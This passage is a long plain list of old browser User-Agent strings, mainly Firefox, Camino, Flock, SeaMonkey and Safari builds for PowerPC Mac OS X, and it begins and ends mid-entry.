rv:1.7.2) Gecko/20040825 Camino/0.8.1\nMozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.7.5) Gecko/20041107 Firefox/1.0\nMozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.7.6) Gecko/20050223 Firefox/1.0.1\nMozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.7.6) Gecko/20050225 Firefox/1.0.1\nMozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.7.6) Gecko/20050317 Firefox/1.0.2\nMozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.7.6) Gecko/20050319\nMozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.7.7) Gecko/20050414 Firefox/1.0.3\nMozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.7.7) Gecko/20050503 Firefox/1.0.3 Madfox/0.3.2\nMozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.7.8) Gecko/20050427 Camino/0.8.4\nMozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.7.8) Gecko/20050511\nMozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.7.8) Gecko/20050511 Firefox/1.0.4\nMozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.7.9) Gecko/20050711 Firefox/1.0.5\nMozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.8) Gecko/20051107 Camino/1.0b1\nMozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.8) Gecko/20051111 Firefox/1.5\nMozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.8) Gecko/20051130 Firefox/1.5\nMozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.8) Gecko/20051201 Firefox/1.5\nMozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.8) Gecko/20051228 Camino/1.0b1\nMozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.8) Gecko/20051229 Camino/1.0b2\nMozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.8) Gecko/20060108 Firefox/1.5\nMozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.8) Gecko/20060320 Firefox/2.0a1\nMozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.8) Gecko/20060322 Firefox/2.0a1\nMozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1\nMozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.8.0.1) Gecko/20060119 Camino/1.0b2+\nMozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.8.0.1) Gecko/20060214 Camino/1.0\nMozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.8.0.1) Gecko/20060217 Flock/0.5.11\nMozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.8.0.1) Gecko/20060307 Camino/1.0\nMozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.8.0.1) Gecko/20060314 Flock/0.5.13.2\nMozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.8.0.1) Gecko/20060331 Flock/0.7\nMozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.8.0.10) Gecko/20070216 Firefox/1.5.0.10\nMozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.8.0.10) Gecko/20070224 Firefox/1.5.0.10\nMozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.8.0.10) Gecko/20070228 Camino/1.0.4\nMozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.8.0.11) Gecko/20070312 Firefox/1.5.0.11\nMozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.8.0.12) Gecko/20070508 Firefox/1.5.0.12\nMozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.8.0.2) Gecko/20060308 Firefox/1.5.0.2\nMozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.8.0.2) Gecko/20060316 Firefox/1.5.0.2\nMozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.8.0.2) Gecko/20060328 Firefox/1.5.0.2\nMozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.8.0.3) Gecko/20060427 Camino/1.0.1\nMozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.8.0.3) Gecko/20060503 Camino/1.0.1\nMozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.8.0.4) Gecko/20060508 Firefox/1.5.0.4\nMozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.8.0.4) Gecko/20060604 Firefox/1.5.0.4\nMozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.8.0.4) Gecko/20060612 Firefox/1.5.0.4 Flock/0.7.0.17.1\nMozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.8.0.4) Gecko/20060613 Camino/1.0.2\nMozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.8.0.4) Gecko/20060620 Firefox/1.5.0.4 Flock/0.7.1\nMozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.8.0.5) Gecko/20060731 Firefox/1.5.0.5 Flock/0.7.4.1\nMozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.8.0.6) Gecko/20060728 Firefox/1.5.0.6\nMozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.8.0.7) Gecko/20060909 Firefox/1.5.0.7\nMozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.8.0.7) Gecko/20060909 Firefox/1.5.0.8\nMozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.8.0.7) Gecko/20060910 SeaMonkey/1.0.5\nMozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.8.0.7) Gecko/20060911 Camino/1.0.3\nMozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.8.0.7) Gecko/20060911 Camino/1.0.3 (MultiLang)\nMozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.8.0.8) Gecko/20061025 Firefox/1.5.0.8\nMozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.8.0.9) Gecko/20061206 Firefox/1.5.0.9\nMozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.8.1) Gecko/20061003 Firefox/2.0\nMozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.8.1) Gecko/20061010 Firefox/2.0\nMozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.8.1) Gecko/20061013 Camino/1.0+\nMozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.8.1) Gecko/20061013 Camino/1.0+ (Firefox compatible)\nMozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.8.1) Gecko/20061025 BonEcho/2.0\nMozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.8.1) Gecko/20061026 BonEcho/2.0\nMozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.8.1) Gecko/20061026 Firefox/2.0\nMozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.8.1.1) Gecko/20061204\nMozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.8.1.1) Gecko/20061204 Firefox/2.0.0.1\nMozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.8.1.11pre) Gecko/20071206 Firefox/2.0.0.11 Navigator/9.0.0.5\nMozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.8.1.12) Gecko/20080219 Firefox/2.0.0.12 Navigator/9.0.0.6\nMozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.8.1.19) Gecko/20081204 SeaMonkey/1.1.14\nMozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.8.1.2) Gecko/20070219 Firefox/2.0.0.2\nMozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.8.1.2) Gecko/20070221 SeaMonkey/1.1.1\nMozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.8.1.2) Gecko/20070223 BonEcho/2.0.0.2\nMozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.8.1.2) Gecko/20070224 Firefox/2.0.0.2\nMozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.8.1.3) Gecko/20070321 Firefox/2.0.0.3\nMozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.8.1.3) Gecko/20070329 BonEcho/2.0.0.3\nMozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.8.1.4) Gecko/20070515 Firefox/2.0.0.4\nMozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.8.1.4) Gecko/20070515 Firefox/2.0.4\nMozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.8.1.5pre) Gecko/20070710 Firefox/2.0.0.4 Navigator/9.0b2\nMozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.8.1.6) Gecko/20070725 Firefox/2.0.0.6\nMozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.8.1.7) Gecko/20070914 Firefox/2.0.0.7\nMozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.8.1.7pre) Gecko/20070815 Firefox/2.0.0.6 Navigator/9.0b3\nMozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.8.1.8) Gecko/20071101 Firefox/2.0.0.8 Flock/1.0\nMozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.8.1.8pre) Gecko/20071015 Firefox/2.0.0.7 Navigator/9.0\nMozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.8.1a2) Gecko/20060512\nMozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.8.1a2) Gecko/20060512 BonEcho/2.0a2\nMozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.8.1a3) Gecko/20060528 Camino/1.0+\nMozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.8.1b1) Gecko/20060707 Firefox/2.0b1\nMozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.8.1b1) Gecko/20060710 Firefox/2.0b1\nMozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.8.1b1) Gecko/20060721 Camino/1.0+\nMozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.8.1b1) Gecko/20060807 Camino/1.0+\nMozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.8.1b1) Gecko/20061110 Firefox/2.0b3\nMozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.8b) Gecko/20050217\nMozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.8b2) Gecko Camino/0.9+\nMozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.8b4) Gecko/20050908 Firefox/1.4\nMozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.8b4) Gecko/20050914 Camino/1.0a1\nMozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.8b5) Gecko/20051006 Firefox/1.4.1\nMozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.8b5) Gecko/20051021 Flock/0.4 Firefox/1.0+\nMozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.9a1) Gecko/20060621 Minefield/3.0a1\nMozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.9a1) Gecko/20060707 SeaMonkey/1.5a\nMozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.9a1) Gecko/20061204 Firefox/3.0a1\nMozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.9a1) Gecko/20061204 GranParadiso/3.0a1\nMozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.9a1) Gecko/20061212 Minefield/3.0a1\nMozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en; rv:1.7.12) Gecko/20050928 Firefox/1.0.7 Madfox/3.0\nMozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en; rv:1.8.1.12) Gecko/20080206 Camino/1.5.5\nMozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en; rv:1.8.1.21) Gecko/20090327 Camino/1.6.7 (like Firefox/2.0.0.21pre)\nMozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en; rv:1.8.1.2pre) Gecko/20070227 Camino/1.1b\nMozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en; rv:1.8.1.3) Gecko/20070309 Firefox/2.0.0.3\nMozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en; rv:1.8.1.4) Gecko/20070509 Camino/1.5\nMozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en; rv:1.8.1.4pre) Gecko/20070511 Camino/1.6pre\nMozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en; rv:1.8.1.6) Gecko/20070809 Camino/1.5.1\nMozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en; rv:1.9a4pre) Gecko/20070404 Camino/1.2+\nMozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; es-AR; rv:1.7.12) Gecko/20050919 Firefox/1.0.7\nMozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; es-AR; rv:1.8.1.11) Gecko/20071127 Firefox/2.0.0.11\nMozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; es-ES; rv:1.7.12) Gecko/20050919 Firefox/1.0.7\nMozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; es-ES; rv:1.7.3) Gecko/20040910\nMozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; es-ES; rv:1.8) Gecko/20051111 Firefox/1.5\nMozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; es-ES; rv:1.8.0.3) Gecko/20060426 Firefox/1.5.0.3\nMozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; es-ES; rv:1.8.0.4) Gecko/20060508 Firefox/1.5.0.4\nMozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; fr-FR; rv:1.7.10) Gecko/20050716 Thunderbird/1.0.6\nMozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; fr-FR; rv:1.7.10) Gecko/20050717 Firefox/1.0.6\nMozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; fr-FR; rv:1.7.11) Gecko/20050727\nMozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; fr-FR; rv:1.7.12) Gecko/20050919 Firefox/1.0.7\nMozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; fr-FR; rv:1.7.5) Gecko/20041108 Firefox/1.0\nMozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; fr-FR; rv:1.7.6) Gecko/20050223 Firefox/1.0.1\nMozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; fr-FR; rv:1.7.8) Gecko/20050511 Firefox/1.0.4\nMozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; fr; rv:1.7.3) Gecko/20040910\nMozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; fr; rv:1.8) Gecko/20051111 Firefox/1.5\nMozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; fr; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1\nMozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; fr; rv:1.8.0.4) Gecko/20060508 Firefox/1.5.0.4\nMozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; fr; rv:1.8.1.1) Gecko/20061204 Firefox/2.0.0.1\nMozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; fr; rv:1.8.1.11) Gecko/20071127 Firefox/2.0.0.11\nMozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; fr; rv:1.8.1.2) Gecko/20070219 Firefox/2.0.0.2\nMozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; fr; rv:1.8.1.21) Gecko/20090327 Camino/1.6.7 (MultiLang) (like Firefox/2.0.0.21pre)\nMozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; hu; rv:1.8.1.16) Gecko/20080702 Firefox/2.0.0.16\nMozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; it-IT; rv:1.8.1.1) Gecko/20061204 Firefox/2.0.0.1\nMozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; it-IT; rv:1.8.1.2) Gecko/20070219 Firefox/2.0.0.2\nMozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; it; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1\nMozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; it; rv:1.8.0.6) Gecko/20060728 Firefox/1.5.0.6\nMozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; it; rv:1.8.1.12) Gecko/20080201 Firefox/2.0.0.12\nMozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; it; rv:1.8.1.21) Gecko/20090327 Camino/1.6.7 (MultiLang) (like Firefox/2.0.0.21pre)\nMozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; it; rv:1.8.1.3) Gecko/20070309 Firefox/2.0.0.3\nMozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; it; rv:1.8.1.4) Gecko/20070515 Firefox/2.0.0.4\nMozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; nb-NO; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1\nMozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; nl; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1\nMozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; nl; rv:1.8.1.1) Gecko/20061204 Firefox/2.0.0.1\nMozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; rv:1.7.2) Gecko/20040804 Firefox/3.0\nMozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; rv:1.7.2) Gecko/20040804 Netscape/7.2\nMozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; rv:1.7.3) Gecko/20040913 Firefox/0.10\nMozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; rv:1.8.1.12) Gecko/20080219 Firefox/2.0.0.12\nMozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; rv:1.8.1.16) Gecko/20080702 Firefox\nMozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; sv-SE; rv:1.8) Gecko/20051111 Firefox/1.5\nMozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; sv-SE; rv:1.8.0.6) Gecko/20060728 Firefox/1.5.0.6\nMozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; sv-SE; rv:1.8.0.7) Gecko/20060909 Firefox/1.5.0.7\nMozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; sv-SE; rv:1.8.1) Gecko/20061010 Firefox/2.0\nMozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; sv-SE; rv:1.8.1.14) Gecko/20080404 Firefox/2.0.0.14\nMozilla/5.0 (Macintosh; U; PPC Mac OS X; af-za) AppleWebKit/416.12 (KHTML, like Gecko) Safari/416.13\nMozilla/5.0 (Macintosh; U; PPC Mac OS X; af-za) AppleWebKit/417.9 (KHTML, like Gecko) Safari/417.8\nMozilla/5.0 (Macintosh; U; PPC Mac OS X; ca-es) AppleWebKit/522.11.1 (KHTML, like Gecko) Version/3.0.3 Safari/522.12.1\nMozilla/5.0 (Macintosh; U; PPC Mac OS X; da-dk) AppleWebKit/416.12 (KHTML, like Gecko) Safari/416.13\nMozilla/5.0 (Macintosh; U; PPC Mac OS X; da-dk) AppleWebKit/418 (KHTML, like Gecko) Safari/417.9.3\nMozilla/5.0 (Macintosh; U; PPC Mac OS X; da-dk) AppleWebKit/522+ (KHTML, like Gecko) Safari/419.3\nMozilla/5.0 (Macintosh; U; PPC Mac OS X; de) AppleWebKit/418.8 (KHTML, like Gecko) Safari/419.3\nMozilla/5.0 (Macintosh; U; PPC Mac OS X; de-AT; rv:1.1) Gecko/20020826\nMozilla/5.0 (Macintosh; U; PPC Mac OS X; de-CH) AppleWebKit/419.2 (KHTML, like Gecko) Safari/419.3\nMozilla/5.0 (Macintosh; U; PPC Mac OS X; de-DE) AppleWebKit/85 (KHTML, like Gecko) OmniWeb/v558.46\nMozilla/5.0 (Macintosh; U; PPC Mac OS X; de-DE; rv:1.0.1) Gecko/20020823 Netscape/7.0\nMozilla/5.0 (Macintosh; U; PPC Mac OS X; de-at) AppleWebKit/416.11 (KHTML, like Gecko) Safari/416.12\nMozilla/5.0 (Macintosh; U; PPC Mac OS X; de-ch) AppleWebKit/312.1 (KHTML, like Gecko) Safari/312\nMozilla/5.0 (Macintosh; U; PPC Mac OS X; de-ch) AppleWebKit/312.5.1 (KHTML, like Gecko) Safari/312.3.1\nMozilla/5.0 (Macintosh; U; PPC Mac OS X; de-ch) AppleWebKit/312.5.2 (KHTML, like Gecko) Safari/312.3.3\nMozilla/5.0 (Macintosh; U; PPC Mac OS X; de-ch) AppleWebKit/412.6.2 (KHTML, like Gecko) Safari/412.2.2\nMozilla/5.0 (Macintosh; U; PPC Mac OS X; de-ch) AppleWebKit/417.9 (KHTML, like Gecko) Safari/417.8\nMozilla/5.0 (Macintosh; U; PPC Mac OS X; de-ch) AppleWebKit/85 (KHTML, like Gecko) Safari/85\nMozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/124 (KHTML, like Gecko) Safari/125\nMozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/124 (KHTML, like Gecko) Safari/125.1\nMozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/125.2 (KHTML, like Gecko) Safari/125.7\nMozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/125.2 (KHTML, like Gecko) Safari/125.8\nMozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/125.4 (KHTML, like Gecko) Safari/125.9\nMozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/125.5.5 (KHTML, like Gecko) Safari/125.11\nMozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/125.5.5 (KHTML, like Gecko) Safari/125.12\nMozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/125.5.5 (KHTML, like Gecko) Safari/125.12_Adobe\nMozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/125.5.6 (KHTML, like Gecko) Safari/125.12\nMozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/125.5.6 (KHTML, like Gecko) Safari/125.12_Adobe\nMozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/125.5.7 (KHTML, like Gecko) Safari/125.12\nMozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/312.1 (KHTML, like Gecko) Safari/312\nMozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/312.1 (KHTML, like Gecko) Safari/312.3.1\nMozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/312.1.1 (KHTML, like Gecko) Safari/312\nMozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/312.5 (KHTML, like Gecko) Safari/312.3\nMozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/312.5.1 (KHTML, like Gecko) Safari/312.3.1\nMozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/312.5.2 (KHTML, like Gecko) Safari/312.3.3\nMozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/312.8 (KHTML, like Gecko) Safari/312.5\nMozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/312.8 (KHTML, like Gecko) Safari/312.5_Adobe\nMozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/312.8 (KHTML, like Gecko) Shiira/1.2.2 Safari/125\nMozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/312.8.1 (KHTML, like Gecko) Safari/312.6\nMozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/412 (KHTML, like Gecko) Safari/412\nMozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/412.6 (KHTML, like Gecko)\nMozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/412.6 (KHTML, like Gecko) Safari/412.2\nMozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/412.6 (KHTML, like Gecko) Safari/412.2_Adobe\nMozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/412.6.2 (KHTML, like Gecko) Safari/412.2.2\nMozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/412.7 (KHTML, like Gecko) Safari/412.5\nMozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/412.7 (KHTML, like Gecko) Safari/412.5_Adobe\nMozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/416.11 (KHTML, like Gecko) Safari/416.12\nMozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/416.11 (KHTML, like Gecko) Safari/416.12_Adobe\nMozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/416.12 (KHTML, like Gecko) Safari/416.13\nMozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/416.12 (KHTML, like Gecko) Safari/416.13_Adobe\nMozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/417.9 (KHTML, like Gecko) Safari/417.8\nMozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/417.9 (KHTML, like Gecko) Safari/417.9.2\nMozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/418 (KHTML, like Gecko) Safari/417.9.2\nMozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/418 (KHTML, like Gecko) Safari/417.9.3\nMozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/418.8 (KHTML, like Gecko) Safari/419.3\nMozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/418.9 (KHTML, like Gecko) Safari/419.3\nMozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/418.9.1 (KHTML, like Gecko) Safari/419.3\nMozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/419 (KHTML, like Gecko) Safari/419.3\nMozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/419.2 (KHTML, like Gecko) Safari/419.3\nMozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/522.10.1 (KHTML, like Gecko) Version/3.0 Safari/522.11\nMozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/522.11 (KHTML, like Gecko) Version/3.0.2 Safari/522.12\nMozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/85.7 (KHTML, like Gecko) Safari/85.5\nMozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/85.7 (KHTML, like Gecko) Safari/85.7\nMozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/85.8.2 (KHTML, like Gecko) Safari/85.8\nMozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/85.8.5 (KHTML, like Gecko) Safari/85\nMozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/85.8.5 (KHTML, like Gecko) Safari/85.8.1\nMozilla/5.0 (Macintosh; U; PPC Mac OS X; en)  AppleWebKit/125.2 (KHTML, like Gecko) Safari/125.8\nMozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/124 (KHTML, like Gecko)\nMozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/124 (KHTML, like Gecko) Safari/125\nMozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/125.2 (KHTML, like Gecko) Safari/125.7\nMozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/125.2 (KHTML, like Gecko) 